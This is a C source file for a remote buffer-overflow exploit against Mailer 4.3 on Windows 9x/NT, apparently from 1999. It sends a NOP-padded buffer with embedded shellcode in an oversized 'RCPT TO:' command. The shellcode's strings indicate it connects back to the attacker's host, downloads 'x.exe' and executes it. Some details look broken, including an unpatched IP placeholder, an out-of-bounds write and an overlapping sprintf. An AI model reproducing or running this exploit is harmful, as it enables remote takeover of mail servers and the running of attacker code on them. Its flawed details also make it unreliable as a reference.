/*

   Remote exploit for Mailer 4.3 - Win 9x/NT (PRIVATE DO NOT DISTRIBUTE)
   Author: Cybz    (8. dec '99)
   Try offsets +600 to +800

*/


#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>

#define BUF_SIZE  3412
#define PORT    110
#define OFFSET    674

char shellcode[701] = {
   0xEB,0x58,0x5F,0x32,0xC0,0x8B,0xDF,0x33,0xC9,0xB1,0x09,0xFE,0xC1,0x03,0xD9,0x88,
   0x03,0x88,0x47,0x16,0x88,0x47,0x21,0x88,0x47,0x28,0x88,0x47,0x30,0x88,0x47,0x35,
   0x88,0x47,0x41,0x88,0x47,0x47,0x88,0x47,0x4E,0x88,0x47,0x55,0x88,0x47,0x58,0x88,
   0x47,0x5E,0x88,0x47,0x65,0x88,0x47,0x6A,0x8B,0xC7,0x50,0xB8,0x50,0x77,0xF7,0xBF,
   0xFF,0xD0,0x89,0x47,0x6E,0x8B,0xC7,0x33,0xC9,0xB1,0x0B,0x03,0xC1,0x50,0xB8,0x50,
   0x77,0xF7,0xBF,0xFF,0xD0,0x89,0x47,0x72,0xEB,0x02,0xEB,0x72,0x8B,0xC7,0x33,0xC9,
   0xB1,0x17,0x03,0xC1,0x50,0xFF,0x77,0x72,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
   0xF0,0x8B,0xC7,0x33,0xC9,0xB1,0x82,0x03,0xC1,0x50,0x33,0xC0,0xB0,0x02,0x50,0xFF,
   0xD6,0x57,0x33,0xC9,0xB1,0x82,0x03,0xF9,0x33,0xC9,0x66,0xB9,0x90,0x01,0x33,0xC0,
   0xF3,0xAA,0x5F,0x8B,0xC7,0x33,0xC9,0xB1,0x22,0x03,0xC1,0x50,0xFF,0x77,0x72,0xB8,
   0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x33,0xC0,0x50,0x40,0x50,0x40,0x50,0xFF,
   0xD6,0x89,0x47,0x76,0x8B,0xDF,0x33,0xC9,0xB1,0x82,0x03,0xD9,0xC6,0x03,0x02,0x66,
   0xC7,0x43,0x02,0x1B,0x58,0xC7,0x43,0x04,0xEE,0xEE,0xEE,0xEE,0xEB,0x02,0xEB,0x56,
   0x8B,0xC7,0x33,0xC9,0xB1,0x29,0x03,0xC1,0x50,0xFF,0x77,0x72,0xB8,0x28,0x6E,0xF7,
   0xBF,0xFF,0xD0,0x8B,0xF0,0x33,0xC0,0xB0,0x10,0x50,0x8B,0xC7,0x33,0xC9,0xB1,0x82,
   0x03,0xC1,0x50,0xFF,0x77,0x76,0xFF,0xD6,0x8B,0xC7,0x33,0xC9,0xB1,0x42,0x03,0xC1,
   0x50,0xFF,0x77,0x6E,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x8B,0xC7,0x33,
   0xC9,0xB1,0x56,0x03,0xC1,0x50,0x8B,0xC7,0x33,0xC9,0xB1,0x59,0x03,0xC1,0x50,0xFF,
   0xD6,0x89,0x47,0x7A,0xEB,0x02,0xEB,0x63,0x8B,0xC7,0x33,0xC9,0xB1,0x31,0x03,0xC1,
   0x50,0xFF,0x77,0x72,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x33,0xC0,0x50,
   0x66,0xB8,0xE8,0x03,0x50,0x8B,0xC7,0x33,0xC9,0xB1,0x82,0x03,0xC1,0x50,0xFF,0x77,
   0x76,0xFF,0xD6,0x89,0x47,0x7E,0x33,0xDB,0x3B,0xC3,0x74,0x31,0x72,0x2F,0x8B,0xC7,
   0x33,0xC9,0xB1,0x48,0x03,0xC1,0x50,0xFF,0x77,0x6E,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,
   0xD0,0x8B,0xF0,0xFF,0x77,0x7A,0xFF,0x77,0x7E,0x33,0xC0,0xB0,0x01,0x50,0x8B,0xC7,
   0x33,0xC9,0xB1,0x82,0x03,0xC1,0x50,0xFF,0xD6,0xEB,0x9D,0xEB,0x6C,0x8B,0xC7,0x33,
   0xC9,0xB1,0x36,0x03,0xC1,0x50,0xFF,0x77,0x72,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,
   0x8B,0xF0,0xFF,0x77,0x76,0xFF,0xD6,0x8B,0xC7,0x33,0xC9,0xB1,0x4F,0x03,0xC1,0x50,
   0xFF,0x77,0x6E,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0xFF,0x77,0x7A,0xFF,
   0xD6,0x8B,0xC7,0x33,0xC9,0xB1,0x5F,0x03,0xC1,0x50,0xFF,0x77,0x6E,0xB8,0x28,0x6E,
   0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x8B,0xC7,0x33,0xC9,0xB1,0x59,0x03,0xC1,0x50,0xFF,
   0xD6,0x8B,0xC7,0x33,0xC9,0xB1,0x66,0x03,0xC1,0x50,0xFF,0x77,0x6E,0xB8,0x28,0x6E,
   0xF7,0xBF,0xFF,0xD0,0x33,0xDB,0x53,0xFF,0xD0,0x90,0xE8,0x03,0xFE,0xFF,0xFF,0x6D,
   0x73,0x76,0x63,0x72,0x74,0x2E,0x64,0x6C,0x6C,0x2C,0x77,0x73,0x6F,0x63,0x6B,0x33,
   0x32,0x2E,0x64,0x6C,0x6C,0x2C,0x57,0x53,0x41,0x53,0x74,0x61,0x72,0x74,0x75,0x70,
   0x2C,0x73,0x6F,0x63,0x6B,0x65,0x74,0x2C,0x63,0x6F,0x6E,0x6E,0x65,0x63,0x74,0x2C,
   0x72,0x65,0x63,0x76,0x2C,0x63,0x6C,0x6F,0x73,0x65,0x73,0x6F,0x63,0x6B,0x65,0x74,
   0x2C,0x66,0x6F,0x70,0x65,0x6E,0x2C,0x66,0x77,0x72,0x69,0x74,0x65,0x2C,0x66,0x63,
   0x6C,0x6F,0x73,0x65,0x2C,0x77,0x62,0x2C,0x78,0x2E,0x65,0x78,0x65,0x2C,0x73,0x79,
   0x73,0x74,0x65,0x6D,0x2C,0x65,0x78,0x69,0x74,0x2C,0x2C,0x2C,0x2C,0x00 };


int     main(int argc,char *argv[])
{
        char buf[BUF_SIZE];
        struct hostent *info;
        struct sockaddr_in server;
        int fd,i;
        unsigned int ip,port,yourip;

        if (argc < 3) {
            printf("usage: %s <victim> <you>\n", argv[0]);
            exit(1);
        }

        if ((yourip=inet_addr(argv[2]))==-1){
            if ((info=gethostbyname(argv[2]))==NULL){
                printf("Unable to resolve local hostname.\n");
                exit(1);
            }
            memcpy((caddr_t)&yourip,info->h_addr,info->h_length);
        }

        bzero(&server, sizeof(server));
        server.sin_family = AF_INET;
        server.sin_port = htons(PORT);
        if ((server.sin_addr.s_addr=inet_addr(argv[1]))==-1){
            if ((info=gethostbyname(argv[1]))==NULL){
                printf("Can not resolve specified VictimHost.\n");
                exit(1);
            }
            server.sin_family = info->h_addrtype;
            memcpy((caddr_t)&server.sin_addr.s_addr,info->h_addr,info->h_length);
        }

        if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
            perror("socket");  exit(0);
        }

        if(connect(fd, (struct sockaddr *)&server, sizeof(server)) < 0){
            perror("connect"); exit(0);
        }
        while((i=read(fd,buf,sizeof(buf))) > 0){
            buf[i]=0;
            if(strchr(buf,'\n')!=NULL) break;
        }
        memset(buf,0x90,BUF_SIZE);
        for (i=267;i<271;i++) buf[i]=0x30;

        ip=htonl(yourip);
        memcpy(buf+OFFSET+4,shellcode,strlen(shellcode));

        buf[BUF_SIZE]=0;
        sprintf(buf,"RCPT TO: %s\r\n",buf);
        write(fd,buf,strlen(buf));
        close(fd);
}
/*                        www.hack.co.za                    */